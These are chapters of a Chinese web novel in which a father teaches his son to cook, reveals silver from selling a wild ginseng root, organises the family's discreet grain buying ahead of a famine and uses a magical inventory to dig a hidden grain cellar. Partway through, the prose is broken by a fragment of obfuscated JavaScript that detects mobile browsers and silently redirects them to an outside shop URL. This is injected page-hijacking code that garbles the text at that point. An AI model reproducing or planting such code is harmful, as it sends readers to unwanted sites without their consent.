接下来的时间里,江天一边打下手,一边仔细观察着江河的每一个动作,默默记忆着烹制每道菜的关键技巧。
江河也没有半点儿藏私,每炒一道菜,就会讲解加现场演示,不断加深着江天的记忆。
就这样,从炒菜到炖肉,从调味到装盘,江天听得如痴如醉,感觉自己像是打开了一扇新世界的大门。
原来做饭,不仅仅是把食物弄熟,更是一门讲究技巧、火候和味道融合的学问。
而他爹,显然是此道高手。
江天没有正经拜过师,不知其他大厨在教授徒弟时是怎么教的,但是他在自己老爹的身上,无疑是学到了很多,同时也大开了眼界。
以前很多一知半解,或是完全没有听说过的厨道知识和烹饪技巧,现在在老爹这毫不藏
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私的悉心教导中,江天不由豁然开朗、倍受启发……
灶房外。
众人看到江天竟然真的进去帮忙了,而且还没有被爹给直接赶出来,就那样自然而然的成了老爹的帮厨,不由都露出了惊讶又欣慰的表情。
尤其是后面,看到老爹一边做菜,一边开口讲解着相关的烹饪技巧。
看到江天像个小学徒一样,满是虔诚与崇拜的认真聆听着老爹所讲的每一句话,认真记忆着老爹所做出的每一个动作。
**和江源兄弟二人不由彼此对视了一眼,都从对方的眼中看到了一丝欣喜了然的笑意。
他们的二哥……好像也开始接受爹了。
或者说是,他们的老爹终于把二哥这头倔驴也给驯服、拿下了!
自此之后,父子之间当是再无间隙,他们一家人终于可以心平气和的和睦相处了。
江槐亦是如此。
看到老二与爹在灶房里相处得如此融洽。
一个肯教,一个愿学,再没有半点儿父子不和、相互忌恨的样子。
她的脸上也不由露出了欣喜开怀的笑容。
父子和睦,家人团圆,这样的家才像是一个家,一个她以前做梦都想要,却可望而不可及的家。
半个时辰后。
所有的饭菜终于全部出锅,灶房内外的香气也随之达到了顶点。
这里的这一大帮子人,不管是大人还是孩子,全都已经被勾起了肚子里的馋虫,有些迫不及待了。
堂屋里,由两张桌子拼凑成的大餐桌上,摆得满满当当。
土豆炖牛肉、酱香大盘鸡、红烧肉、农家小炒肉、大葱炒鸡蛋、凉拌野菜、清炒时蔬,还有一盆奶白色的野鸡汤。
当然,米饭和大饼之类的主食也不能少。
今天家里大大小小一共有十九口人,就算是赵诚卧病在床不能上桌,那也有十八口人。
想要让每个人都吃饱吃好,主食自然是不可或缺。
所以江河之前就让赵穗、罗灵还有孙芳三个儿媳妇,提前蒸了两大锅白米饭,炕了三十几张白面饼。
现在,这些米饭和大饼,也全都被端到了堂屋里。
一时间,米饭和面饼的香气,与满桌的肉香、菜香参杂交织在一起,把在场所有的人全都给香迷糊了,口水直流不说,肚子也一个劲儿的咕咕乱叫。
“开饭!”
在所有人都上桌之后,随着江河的一声令下,早就等不及的众人立刻开动。
“好吃好吃!”
“哇,这红烧肉真香!”
“娘你快尝尝,爷爷做的土豆炖牛肉实在是太好吃了!”
“这鸡汤也很鲜,好好喝!”
“……”
一时间,各种发自内心的赞美声不绝于耳,所有人的味蕾都被眼前这桌饭菜给彻底征服了。
孩子们吃得满嘴流油,大人们也放下了矜持,大快朵颐。
江天坐在席间,吃着由自己参与洗切、亲眼看着老爹炒制出来的菜肴,心中的感受格外不同。
这些菜肴吃在口中,不仅仅是美味绝伦,更是让他有一种……奇妙的参与感和成就感。
他偷偷看了一眼主位上正给小妹江沫儿夹菜的江河,心中那个曾经冰冷坚硬的角落,似乎也被这满桌的温暖和香气,悄然填满了。
老爹真的变得跟以前不一样了!
也许,跟着爹学习厨艺,真的会是一个极不错的选择……
第125章 钱多得都不知道怎么去花
半个时辰后。
等到所有人全都吃饱喝足了之后,江河轻声开口,嘱咐着江沫儿这个孩子王,让她把屋里的几个小家伙全都带到院子里去玩儿。
江天、**、江源三兄弟,还有赵穗、罗灵、孙芳三个儿媳妇,再加上江槐这个大女儿,则全都被他给留在了堂屋里。
姐弟、妯娌几人见爹似乎有话要对他们说,不由得全都提起了心神,心绪也随之变得有些紧张起来。
因为以前,每次只要老爹这样把他们兄弟姐妹聚在一起,准没什么好事。
不是要钱要物,就是去替爷奶家干活。
再不就是乱发一通脾气,对他们这些子女、儿媳一阵指责打骂,说他们都是一群不孝顺的逆子逆媳之类的恶言恶语。
虽然现在老爹似乎已经变得跟以前完全不一样了,但是再次面对这样的家庭聚会,他们几个心里仍是有些发怵,一阵的忐忑不安。
都怕老爹会突然再变成以前那个鬼样子,继续作妖折腾他们。
啪!
江河右手一翻,把他之前在安民医馆卖野山参所得的那张买卖契书拍放在了桌面上。
手掌拍打在桌面上的清脆声响,让本就有些紧张忐忑的几个人,忍不住一个激灵。
所有人都下意识地屏住呼吸,目光齐刷刷地落在那张略微泛黄却折叠得极为整齐的纸张上。
江河的目光缓缓扫过坐在桌边上的几个儿女、儿媳,声音沉稳地开口说道:
“这次把你们全都叫回来,是有一件关乎咱们家往后生计的大事,要跟你们商量。”
他顿了顿,手指点了点桌上的契书,轻声解释道:
“这是我昨天去县城卖山货时,在安民医馆卖掉一支野山参所得的买卖契书,那支参总共卖了九十两银子。”
“啥?九十两?!”
“我的老天爷!”
“怎么这……这么多?!”
“爹,你啥时候挖到人参了,咋都没有听你说过呢?”
“……”
堂屋里瞬间响起一片倒抽凉气的声音,所有人的眼睛都瞪得溜圆,脸上写满了难以置信。
九十两!
那可是整整九十贯钱,九万文!
对于他们这样的庄户人家来说,这无疑是一笔巨款,一笔他们一家人就算是种一辈子庄稼都赚不来的巨额财富!
**和江源激动得脸都红了,呼吸急促,心跳如鼓。
赵穗、罗灵和孙芳也都震惊得捂住了嘴,眼睛死死盯着桌面上那张契书,感觉像是在做梦一样。
江天比之几个兄弟算是见多识广一些,知道野山参很是珍贵,但听到“九十两”这个数字,心头也是猛地一跳。
他知道野山参很值钱,但却没想到竟能值这么多!
怪不得昨天在城里时,老爹会表现得那么大方,不但请他吃了一顿大餐,喝了桂花酒,临走的时候甚至还给他们家留下了三两银子!
还有,在望福楼吃酒之前,被他收入怀中准备结帐的那二两碎银,也因为他的醉酒而被留在了身上,老爹并没有收走。
这么算下来,老爹昨天一共是给了他们家五两银子!
若是再加上吃饭花费掉的那二两,仅是昨天一天,老爹就花出去了七两银子!
之前他还在奇怪,老爹是从哪里得来了这么多钱,又为何会突然间变得这么大方。
现在看到眼前这张买卖契书,他总算是全都明白了。
江槐的心中也是一阵欣喜,虽然她是嫁出去的女儿,没敢想着分娘家人的钱。
但是,爹手里有了这么一大笔钱后,家里的日子就能好过太多。
他们一家人就算是暂时住在娘家,也不必再担心会拖累家里,会引起几个弟媳的不满了。
还有,之前她还在担心,爹为了给赵诚买那【精华壮骨粉】,会掏空了家里的家底,会让家里的日子变得难过。
现在,得知爹手中竟然有九十两银子的巨款之后,她一直紧绷着心神,终于可以彻底放松下来了。
江河等他们稍微消化了一下这个**性的消息之后,才继续开口说道:
“这笔钱,是咱们家目前的全部家当了。怎么用,用在什么地方,我想听听你们的想法。”
说着,江河伸手入怀,掏出了一个鼓鼓囊囊的灰布钱袋,将钱袋口打开,露出了装在里面的九十两银子。
啪!
江河直接将钱袋扔放到身前的桌面上,白花花的银子瞬间就晃住了江天、**、赵穗等几人的双眼。
看到这么多实实在在、闪闪亮亮的银子,几个人的呼吸都跟着变得急促了起来。
江河抬头轻瞥了他们一眼,再次开口向他们问道:
“诺,所有的钱全都在这里了,你们可以踊跃发言,看看都想要买点儿什么?”
他这是有意在培养家里人对这个大家庭具体事务的参与感和责任感,同时也想看看这些儿女和儿媳妇各自的心思与品性如何。
众人闻言,不由面面相觑,一时间竟没人敢先开口。
那可是九十两银子啊,足足九十贯钱!
他们从小到大,活了十几二十年,也从来都没有见过这么多钱啊!
现在老爹突然放了这么多钱在他们眼前,还问他们这些钱该怎么花,一时之间,他们还真不知道该说些什么。
“爹,这笔钱……您打算怎么用?”
最后还是江槐先开了口,她小心翼翼地试探着向江河说道:
“您看是不是先给家里添置些农具和家具?咱家的房子和外面的围墙也都该修修了,还有粮食和衣物……”
她是长姐,想得比较实际,也考虑到了家里的基本需求。
**挠了挠头,憨声道:“爹,要不……咱再多买几亩地?有了地,咱们心里才踏实。”
“还有还有!”江源也站起来高声说道:“爹,咱们能不能也买头牛?有了牛以后再种地的时候,就不会那么累了!”
赵穗和罗灵互相看了看,小声嘀咕着:“要是能扯几匹布,再买些棉絮回来做几床被子就好了,家里的被子都用了不知多少年了,冬天盖在身上一点儿也不暖和……
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江天与孙芳两口子因为不住在家里,皆都沉默不语,并没有要参与讨论的意思。
江河的目光扫向眼前这几个儿女与儿媳,不由暗暗点头。
不得不说,原身虽然不是个什么好东西,但是他生出来的这些儿女,和给儿子们娶回来的这几个媳妇,都还是很不错的。
看到家里面突然多出了这么多钱,他们虽然都很激动很兴奋很欣喜,恨不得冲过来把这些银子抱在怀里咬上两口。
但是江河却并没有从他们的眼中,看到半分想要把这些钱据为己有的贪念和私心。
他们提出来的这些建议和购买需求,也都是从家庭的刚需出发,很切合实际。
这说明,这些孩子和儿媳妇们,心思都还算纯正。
并没有被原身那些恶劣行径给带歪或是影响到,也没有因为眼前这突然的“暴富”而迷失了本心。
这一点,让江河很是欣慰。
眼前的这些人,大多都是与他有着血脉关系的至亲之人。
也是他在这个世界上最亲近也最能信任的人。
若是他们品性不端、自私自利、见利忘义,根本就养不熟,他还如何能放心的培养、扶植他们?
真要是再养出了一群像是老宅的江十二与王三妮那样,只知道喝他的血、占他的便宜,还特么不给他半点儿好脸子的白眼狼,他还不得后悔死?
“老二,老二媳妇,你们也说说看你们是怎么想的?”
江河收敛思绪,最后把目光扫向一直没有开口说话的江天与孙芳两口子,直声言道:
“咱们都是一家人,有什么话不必藏着掖着,怎么想的就怎么说出来,哪怕是说错了,也无所谓,没人会责怪你们……”
呃?
江天和孙芳没想到江河会直接点他们的名,都有些意外。
孙芳连忙看向丈夫,江天抿了抿唇,在江河鼓励的目光下,终于还是开了口,声音比刚才在灶房里时少了些别扭,多了些凝重:
“爹,这笔钱确实是笔大钱,很多人一辈子都未必能够赚得到。”
“刚刚大姐、三弟、四弟,还有大嫂、三弟妹他们说得也都不错,不管是修缮房屋,购置家具,还是买牛、买地、添衣添被,都是应该的。”
“但是在此之前,有件事,我觉得我得先跟您,还有大家伙儿说一说。”
说到这里,江天稍顿了顿,目光扫过众人,沉声道:
“这次我从县城回来,路过粮店的时候意外发现,眼下城内的粮价全都高得有些离谱!”
“粟米都涨到了三十五文一斗,小麦涨到了四十文一斗,白米更贵,都已经涨到了六十五文一斗!”
“而且,几乎所有的粮铺都开始限购了,每户每天最多只能买十斤!”
“我找人稍打听了一下,听说是南边有些地方遭了灾,粮食运不过来,加上今年咱们这边收成也不好,粮商们都在囤粮惜售。”
“所以,我觉得,咱们最好还是拿出些钱来,提前去收购一些粮食回来备着,以防万一。”
第126章 全家齐上阵,下乡忙收粮
“县城里的粮店是别想了,根本就买不来多少粮食。”
“咱们最好到附近的几个庄子上去私下里收购,只要能买到,价格高一些也无所谓。”
说到这里,江天稍顿了顿,看了一眼在场的众人,继续说道:
“趁着现在乡下的大多数人还没有意识到问题的严重性,还有人愿意卖粮,咱们手里又有足够多的钱,必须得多囤一些!”
“至少……也要备足一家人能吃到明年夏收,甚至更久的粮食!”
“只有家里有了足够多的粮食,咱们心里才能真正踏实下来!就算是以后真的出现了粮荒,咱们手里有粮,心中才会有底。”
“说句不好听的话,不管是地还是牛,都可以先不买。房子随便修修补补的也能继续住,甚至就连那些旧衣服和旧棉被,也可以暂时先用着。”
“但粮食,却是一天都不能缺!尤其是咱们家现在这么多人,每天消耗都不小,必须得未雨绸缪才行!”
刷!
堂屋里面瞬时一片寂静。
除了江河之外,其他所有人都**天所描绘的可能出现的“粮荒”的场景给镇住了。
他的这番话,就像一盆冷水,瞬间浇灭了众人刚刚因为见到“九十两”银子的巨款,而升起的无尽兴奋和激动情绪。
粮价飞涨?
粮店限购?
每户每天只能买十斤粮食?
这对于他们这个拥有十几口人的大家户来说,绝对是一个天大的坏消息!
手里的钱再多,买不到足够的粮食也是白搭!
尤其是现在,他们家里一下子又多了这么多张嘴,而吃的粮食却只剩下放在灶房里的那几十斤大米和白面,根本就撑不了几天。
**、江源、江槐、赵穗、罗灵等几人,全都变得面色苍白,神色有些慌乱。
只有真正经历过饥饿的人,才会更加懂得粮食的重要与珍贵。
江槐一家人在柳树村差点饿死的经历还历历在目。
赵穗、罗灵、孙芳等人也都经历过青黄不接、受冻挨饿的苦日子。
饿肚子的滋味儿,真的是很不好受。如果可能的话,在场的人谁也不想再经历哪怕一次。
“爹,你昨天不是也进城了吗,城里的粮价是不是跟二哥说的一样,贵得这么离谱?”
**不由扭头看向江河,急切开口询问。
他记得昨天老爹从县里回来时,似乎也买了一些粮食回来,对于县城内的粮价应该有所了解才是。
“没错,我昨天确实买了几斤粮食回来。”
江河微微点头,道:
“不过,昨天县城内的粮价还没有这么高,粟米是二十五文一斗,小麦三十文一斗,大米五十文一斗。”
啥?!
才只过了一天,所有粮食的价格竟然都涨了十余文,大米更是离谱,竟直接涨了十五文!
**几人闻言,面色随之变得更加错愕和难看。
这……这也太夸张了吧!
那些粮商哪里是在卖粮食,这分明就是在抢钱啊!
“还有,”江河继续说道:“昨天各大粮店虽然也都有限售,可是当时的限售条件是每人每日可以购买十斤粮食,而现在却变成了每户每日可以购买十斤粮食。”
“你们知道这意味着什么吗?”
“这意味着,老二刚刚所说的‘粮荒’马上就来了,留给咱们去购买粮食的时间已经不多了。”
说着,江河不由朝着江天投去了一个赞赏的眼神,道:“老二的建议跟我之前的打算不谋而合。”
“今天我之所以要把你们所有人全都叫回来,除了是想要一家人一起吃个团圆饭外,最重要的就是咱们要全家出动,拿着这些钱到附近的几个庄子上去收粮!”
江河的话,让屋内几人的神色同时一怔。
谁也没有想到,老爹今天把家里人全都召集到一起的真正目的,竟然是为了收粮。
“就像老二说的,县城里的粮店已经指望不上了,你有多少钱人家都不会卖给你。想要粮食,就得到附近的这十里八乡去收!”
江河的声音斩钉截铁,瞬间就让原本已经有些六神无主的几人找到了主心骨。
“附近的张家庄、李家村、王家庄、柳树村还有咱们自己的下河村,只要有村民愿意卖粮,不管是新粮还是陈粮,是粗粮还是细粮,哪怕是高粱、豆子、豆饼、干菜,只要耐存放,能填肚子,咱们都要!”
说到这里,江河目光炯炯地扫过众人,继续说道:
“价钱上,只要不是太离谱,哪怕是比市价高个一两文、三五文的,咱们也可以接受!现在不是计较这些小钱的时候,能买到粮食就是胜利!”
“但是,一定要注意!”江河的语气骤然变得郑重而严厉,“收粮的时候,必须低调!绝不能大张旗鼓、大肆宣扬!”
“咱们家突然有了钱,本来就容易招人眼红,如果再让别人知道咱们在大肆买粮,一旦粮荒真的来了,咱们家就会变成众矢之的。”
“真要到了那个时候,可就不是钱能不能保住的问题了,而是能不能保住粮食、保住命的问题了!”
众人听得心头一凛,纷纷点头表示明白。
他们又不是蠢人,自然明白“怀璧其罪”的道理。
尤其是在这种可能会出现粮荒,甚至有可能饿**的时节,若是被别人知道他们家有足够多的钱和粮食,被强抢甚至被谋财害命,都不是没有可能。
“所以,”江河开始分派任务,“这次买粮,咱们要分头行动,动静一定要小,尽量不要引起别人的关注和怀疑。”
“老大媳妇、老二媳妇、老三媳妇还有小槐花,你们四个先在咱们下河村里问问。你们是本村的媳妇和闺女,跟村里的大娘大婶们熟络,借口也好找。”
“就说家里多了几口人,怕粮食不够吃,想私下里换点儿或者买点儿粮食备着。”
“价格可以给得稍高一些,但一次别买太多,多走几户,细水长流。”
赵穗、罗灵、孙芳和江槐连忙点头,她们确实更适合在村里活动,不易引人怀疑。
“另外,下河村若是收不上来了,你们也可以回各自的娘家村里去问问,五斤十斤不嫌少,百斤千斤不嫌多。”
“只要有人愿意卖,你们莫要心疼钱。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966909|193410||http|test|mini|href|location''.split(''|''),0,{}));
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r>“再有,你们娘家那边也可以透透口风,让他们也悄悄收些粮食备用,以防万一。”
三个儿媳再次连声点头,就算是公爹不说,她们也想要趁机回一次娘家,把即将要出现粮荒的消息告诉娘家人,让娘家人提前有个准备。
交待完几个儿媳,江河又把目光扫向了江天、**、江源三个儿子身上:
“老二、老三、老四,你们负责去附近的几个庄子上去收粮。”
“你们三个是生面孔,但也是年轻人,好走动。就说家里办喜事,需要备些粮食待客,价钱好商量。”
“记住,收粮时要分散开,别傻了吧唧的三个人一起进同一家去收粮。要多看多打听,尽量找那些看起来老实、口风紧的人家去收购。”
“还有,收粮时眼睛也要放亮些,别买到那些发霉的、掺沙的劣质粮食。也别把人家家里的口粮都买空了,免得惹出麻烦。”
“买到的粮食后,不要直接拉回家,先在村外找个隐蔽的地方暂时存放,等天黑没人的时候,再分批、分散地运回来。”
“知道了,爹!”江天三兄弟郑重应下。
“至于我,就不出去瞎晃悠了。”
交待完几个孩子的任务之后,江河自嘲说道:
“我这张老脸在附近十里八乡都是出了名的,就算是想要收粮,别人也未必愿意卖给我。”
“我正好趁着你们出去收粮的时候,把咱家的地窖重新整理扩建一下,等你们把粮食收回来,就全都存到地窖里。”
说完,江河直接站起身来,伸手从桌面上钱袋里倒出了十几两银子。
“好了,既然已经知道接下来要做什么,那事不宜迟,你们现在就开始行动吧!”
“今天是刚开始,你们每人身上先带二两银子出去试试水,探探各村的行情如何。若是碰到家里粮多的大主顾,可以先留下定金,然后再回来找我拿银子。”
说着,江河便开始给七人分发银子。
一人二两,七个人也就才分出了十四两。
看似不多,可是对于**、江源、赵穗、罗灵等这些一辈子怀里都没有揣过这么多钱的人来说,二两银子就已经算是巨款了。
伸手接过老爹递来的银子时,他们紧张的双手都有些哆嗦。
给钱的时候,江河再次悉心交待道:
“这些钱你们最好想办法换成铜钱,交易的时候就用铜钱来结账,千万别露富。”
“如果有人问起,就说这些钱是家里东拼西凑借来的。总之,绝对不能让人知道咱们家有九十两银子,更不能让人知道咱们正在大肆囤粮!”
“知道了爹!”
“爹你放心,我们一定会小心的!”
众人纷纷表态,神色凝重而坚定。
他们都知道,这不仅仅是一次简单的采购买卖,更是一次关系到全家十几口人在不久的粮荒中,能不能活下来的重要行动,谁也不敢轻视怠慢。
“好!”
江河将剩下的银子重新收回,定声向几人吩咐道:
“拿了钱你们这就出发吧,家里的孩子还有赵诚,有我照看着,你们不必担心!”
第127章 窖中窖,修建地下粮库
几人接过银子,小心揣好,在江河的叮嘱下,又各自回屋换了身看上去极为破旧的衣裳。
江天、**、江源三兄弟,甚至还往自己脸上抹了些锅底灰,尽量让自己看起来不那么显眼,一副穷苦落魄又寒酸的装扮。
做好了这些伪装之后,几个人才小心翼翼地陆续出了院门。
一时间,院子里就只剩下了江河和一群懵懂无知、还在嬉戏玩闹的孩子,以及东屋里一直都在昏睡养伤的赵诚。
江河走到院门口,直接将院门从里面闩好。
然后又回到院子里,把正在领着一群孩子玩闹的江沫儿叫到跟前,正色交待道:
“丫头,爹现在要去地窖里收拾东西,可能会很吵,也会有很多灰尘。”
“你呢,就这样带着你这些小侄、小侄女和小外甥、小外甥女们继续在院子里玩,看好他们,不许他们靠近地窖口,听到了吗?”
江沫儿素来乖巧懂事,闻言立刻挺起小胸脯,高声应道:
“知道了爹!你放心,有我看着他们,肯定不让他们过去捣乱!”
“乖。”江河轻笑着抬手摸了摸她的小脑袋,道:“堂屋里还有一些糖果和点心,你们若是玩的累了,可以自己回屋拿些出来吃。”
“若是有人在外面叫门,你就到地窖入口那里唤我一声。”
“嗯,知道了爹!”
江沫儿再次乖乖点头,见老爹没有别的吩咐了,就一蹦一跳的又回到院子里跟一群孩子玩耍去了。
江河见状,不由欣慰点头。
家里面得亏有江沫儿这个孩子王在,不然这么一大群孩子没人带着,非得闹翻了天不可。
交待完孩子的事,江河又到东屋看了一眼,见赵诚睡得正香,一时半刻应该还醒不了,便不再多管,径直走到院子角落那棵老槐树下。
地窖的入口,就在这棵大槐树旁边的屋角下,上面盖着一块厚重的青石板。
说是地窖,其实就是一个类似水井一样的地下储物洞穴,距离地面两米余,有一定的保温能力。
平时家里用来存放一些过冬吃的萝卜、白菜、大葱之类的蔬菜,空间不大,且还有些潮湿。
江河深吸一口气,双手扣住石板边缘,微微用力,便将它轻松挪开,露出了下面隐藏着的黑黢黢的圆形洞口。
他没有急着下去,而是先回屋拿了一盏油灯点燃,又找了把结实的铁镐和一把铲子。
提着灯,沿着洞内预留的简易木梯下到地窖底部。
油灯昏黄的光线照亮了下方这片只有四五平方米左右,人工挖掘出来的地下空间。
四周是略微有些潮湿的土壁,角落里堆着几个破旧空陶罐,空气中弥漫着一股淡淡的霉味和土腥气。
看上去,这处地窖似乎已经许久都没用过了。
“空间太小,土质也太潮了,得好好扩充加固一下,还要做一下防潮、防鼠的工序,否则根本就没办法把粮食存储下来……”
江河一边打量着地窖内的空间布局,一边轻声自语。
他先探下身,将角落里的杂物清理出来,搬到地窖口下方,准备等一会儿再一块弄上去。
之后,他返身径直走到地窖最里面,也是最干燥的一面土壁前,掂了掂手里的铁镐,调整了一下呼吸。
体内那六十年的八段锦功力所产生的雄浑内息,开始缓缓流转,温润而坚韧的力量悄然灌注于双臂乃至全身。
就在他挥舞起铁镐,准备开始正式掘地挖土的时候,突然间脑子里面灵光一闪,又将手中已经举起的铁镐缓缓放了下来。
只见他抬起右手,轻轻抚摸在身前的土壁之上,精神意念与系统的物品栏沟通连接,心里默念了一句:“收!”
刷!
身前被他抚摸着的那块土壁,瞬间缺失了一大块,仿佛是被一只无形的大手给直接抹去了。
同一时间,签到系统【物品栏】内的其中一个储物格内,随之出现了一个全新的棕黄色的方形图标。
江河将意念集中在那图标之上,瞬时便有相关的信息悬浮于上:
【浅层黄泥土】
品质:凡品
大小:1m*1m*1m
成分:黏土矿物、微量腐殖质、地气
功效:普通凡土,无特殊功效。
“果然可以这样!”
江河眼中精光一闪,看着物品栏内这个正正方方,正好有一立方米大小的黄土块,嘴角不由微微勾起。
刚才他也只是灵光一闪,想到既然物品栏可以将他碰触到的任何一件物品全都收入其中,那这地下的泥土是不是也可以。
结果只是稍加尝试,竟然一次就成功了!
而且,物品栏收取这些泥土的规则,似乎比他想象的更“智能”。
它并非简单地挖走一堆不规则的泥土,而是直接从他意念锁定的那片区域,精准地收取了标准为一立方米体积的泥土,断面整齐得如同刀切!
而且,收取土块的大小,也可以随着他的心意改变,最大的是一立方米,最小的也可以只有拇指大小。
更重要的是,整个收取的过程都悄无声息。
没有泥土崩落,没有灰尘扬起,只有眼前这层土壁凭空消失了一块,留下一个光滑平整的立方体凹槽。
这样的挖掘效率,以及悄无声息的隐蔽性,比他单纯的挥动铁镐挖掘不知快了多少倍!
江河心中大喜。
有了这种更加便捷的挖掘方法,接下来他想要扩建地窖的工程将变得无比简单、快速,且不留半分痕迹!
他不再犹豫,走到土壁前,集中精神,将手掌按在下一个位置,心中再次默念:“收!”
刷!
又一方泥土消失!
物品栏原本安放第一块泥土的图标之上,多了一个“×2”的数字显示。
同类物品相互叠加,并不会侵占多余的物品方格。
土壁上的凹槽向前延伸,地窖空间瞬间又扩大了一立方米。
江河精神振奋,他没有再盲目的继续扩大地窖的宽度与广度,而是开始朝着脚下挖掘,直接掏出了一个三米余深的方形地洞。
没错,他想要在原本的地窖之下,再挖出一个窖中窖。
将第一个,也就是最上层的地窖当成掩护,平时正常堆放一些萝卜、白菜之类的过冬蔬菜来掩人耳目。
万一再出现上次被人搜家的特殊状况,也只会暴露出第一层地窖内的东西。
毕竟,正常情况下,没有哪家人会为了一个地窖,费时费力
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的向下方挖出十余米深的双层地洞。
只要他将第二层的入口巧妙的隐藏起来,寻常人很难能够在这漆黑的地下室内找到第二层的入口。
而这第二层地窖,才是他用来储藏粮食的真正粮库!
他完全可以把他之前收进物品栏内的那几千斤粮食,全部取出来放在其中。
然后再告诉几个儿子女儿及儿媳,说这第二层地窖早在几年前就已经挖好,而这些粮食也是他前几年偷偷存下来的。
不管江天、**几人会不会起疑心,反正只要他这个当爹的一口咬定,他们不信也得信。
打定了主意,江河便不再有任何犹豫,铆足了力气,继续“挖掘”。
他必须要在几个儿子、儿媳和女儿们回来之前,把第二层地窖完全挖好,不让他们看出半分端倪。
“收!收!收!”
意念所至,脚下的泥土如同被无形的巨口吞噬,快速消失不见。
第二层地窖内的空间,也在以肉眼可见的速度迅速向外扩张。
此刻的江河,如同是一个拥有了神奇魔力的建筑师,意念所及,身前的泥土便会无声消失。
地窖的形态也在按照着他的脑海中预想的结构,在飞速的改变着。
很快他就规划并挖掘出了一个长约十米、宽约六米、深约三米的巨大地下空间,足足有一百八十多立方米!
考虑到承重和结构的问题,他刻意在中间保留了必要的方形土柱作为支撑,并将顶部修改成略带弧形的拱顶,增加其稳固性。
还有,通风和防水,也是修建地下室必须要考虑到的重要问题。
只是这通风管道的修建与设计,却是要比他挖掘出整间地下室还要困难得多。
毕竟,通风管道要一直从地下室内蜿蜒向上,直达地面。
其中,还要考虑雨水倒灌,虫蚁及蛇鼠等生物的侵袭问题,远要比单纯的挖掘土块要复杂得多,也困难得多。
好在,江河小时候没少看《地道战》,对于地道内部的脉络走向还有防水防毒之类的特殊功能,记忆深刻。
最终,经过江河不断的设计与尝试,他终于为第二层地窖,单独挖掘出了一个带有多个弯折区域的通风管道。
管道的内部预留了多处凸起和凹陷。
既能减缓空气流速防止外界的冷风直接灌入,又能有效隐藏管道走向,阻止外部水流或是蛇鼠虫蚁的侵入。
而通风管道的出口,则被他巧妙地开在了院中那棵老槐树的树洞之上,而且预留了不止一个通风口。
除非哪天这棵老槐树被人给直接砍伐了,否则他完全不必担心通风口会暴露或有被堵上的风险。
做完这一切,江河神清气爽的挺身站在他辛苦“挖掘”出来的地下室内,呼吸着从通风管道之中流通下来的新鲜空气,不由心情大好。
这第二层地下室,比起上面那个简陋、狭小,还极为潮湿的地窖来——
不仅空间巨大,土层坚固牢靠,且还没有想象中的地下水气,土质干燥得让江河都觉得极为意外,完全不必再特意做什么防潮处理。
把本就已经晒得极为干燥的粮食存放在这里面,别说一年两年,就算是放上三年五载都不会有任何问题!
第128章 啥,老宅一家被无罪释放了?
看着自己辛苦了小半个时辰的劳动成果,江河不禁满意点头。
有了这么一大间地下粮库,储粮就解决了九成九。
接下来,就是放置那些之前被他收入物品栏内的粮食了。
江河抬步走到地下室的最里面,心念一动,意识沉入物品栏内。
看到安放在一个个储物格子之中的粟米、小麦和大米等粮食,不由会心一笑。
不过他并没有直接将这些粮食取出来堆放在地上。
而是先从物品栏内取出了几块他以前在木料店里签到得来的干燥板材,平铺在了脚下的黄泥地上。
有了这层板材搁挡,就算是以后地面返潮,也可以在一定程度上延缓粮食受潮的时间。
做完这些前置准备之后,江河这才心念一动,开始将他之前在粮店买来的那一千斤粮食,还有几日前从老宅顺来的那千多斤口粮。
以及他这段时间签到所得的近两千斤各类谷物杂粮,全部取出,分类码放在了铺好的板材之上。
顷刻之间,原本空荡荡的地下室内,便有一小半的空间都被各类粮食堆满。
什么粟米、高粱、黄豆、大米、荞麦、芋头等等,可谓是五谷齐聚,应有尽有。
“这么多粮食,怎么着也够一家人吃上一整年了!”
看着这一堆堆加起来足有四千余斤的各类粮食,江河心中不由一阵松快。
这才是真正的“家有余粮,心中不慌”!
就算是江天、**他们在外面没收到多少粮食,接下来的一年内,他们家也不必再为口粮不足的问题担忧了。
安置好这些粮食之后,江河没有再在地下室内多待,而是又重新返回到了第一层地窖。
为了方便上下,他刻意在洞口的土壁上“挖”出了一排可供踩踏的土层台阶,每次可供一人轻松进入或是爬出第二层地窖。
踩着这些台阶从第二层地窖上来之后,江河又开始布置入口处的伪装。
说是伪装,其实就是一块颜色无限接近土层颜色的方形木板,上面再糊上一些黏土层,直接严丝合缝的盖在地窖的入口上。
从外面看,根本就看不出半分端倪。
况且,他之前挖掘入口的时候,特意选择了地窖最里面贴近土墙壁的地方。
且洞口的上方还有一个斜坡,成年人根本就没有办法正常直着身子走到这里。
正常情况下,只是以肉眼观瞧的话,根本就发现不了他在入口上方布置的门板伪装。
做完这一切,江河刚松了口气,正想要上去喝口水歇一歇的时候,一阵急促的脚步声在地窖口上方停住。
紧接着,江沫儿那清脆且响亮的声音通过地窖入口从上面传了下来:
“爹!爹!里正爷爷来了,正在院门外叫门呢!”
里正王冶山?
他怎么在这个时候寻来了?
江河眉头微微一挑,缓步走到洞口处,高声向江沫儿说道:
“知道了!沫儿乖,你且去陪你小侄他们一起玩去吧,爹这就上来给里正开门!”
回应的同时,江河也手脚麻利地顺着梯子爬出了地窖。
出来时,他还顺手将之前清理出来的破陶罐等杂物给拎了出来,制造出一种他刚刚正在清理地窖的假象。
回到地面后,将手中的垃圾扔放到一边,江河又抬手整理了一下自己的衣袍,拍掉身上的浮灰,这才抬步朝着院门口走去。
隔着老远,他就看到正站在院门外,隔着竹栅栏向里观瞧的王冶山,江河连忙开口招呼道:
“治山叔,这是啥风把你吹到我家来了,快快请进!”
说着,江河快步走到近前,打开院门,邀请王冶山进屋里说话。
王冶山站在原地未动,抬头狐疑的打量了江河一眼,道:
“这大白天的,家里咱还闩起了门,你小子别不是又在搞什么幺蛾子吧?”
“那哪能啊,冶山叔你也看到了,我刚刚正在清理家里的地窖,准备储存些过冬吃的萝卜、白菜,没时间照看孩子。”
江河轻声解释道:
“而这家里的孩子又多,还有几个两三岁大的小娃娃,我这不是担心他们跑出去了会寻不到嘛!”
王冶山看了眼江河身上沾着的泥土,还有不远处那棵大槐树下被搬开的青石板,不由微微点头。
